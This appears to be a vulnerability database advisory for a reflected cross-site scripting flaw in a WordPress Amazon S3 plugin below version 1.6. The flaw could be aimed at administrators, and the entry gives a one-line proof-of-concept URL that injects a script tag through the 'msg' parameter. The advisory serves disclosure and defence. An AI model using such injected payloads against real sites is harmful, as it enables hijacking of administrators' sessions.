WordPress Plugin Vulnerabilities

WordPress Amazon S3 Plugin < 1.6 - Reflected XSS

Description

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Proof of Concept

https://example.com/wp-admin/plugins.php?page=s3plugin-options&msg=%3Cscript%3Ealert%28XSS%29%3C%2Fscript%3E

Affects Plugins

Fixed in 1.6

References

Classification

Type
XSS
CWE
CVSS

Miscellaneous

Original Researcher
Shreya Pohekar
Submitter
Shreya Pohekar
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-03-20 (about 1 years ago)
Added
2023-03-20 (about 1 years ago)
Last Updated
2023-03-20 (about 1 years ago)

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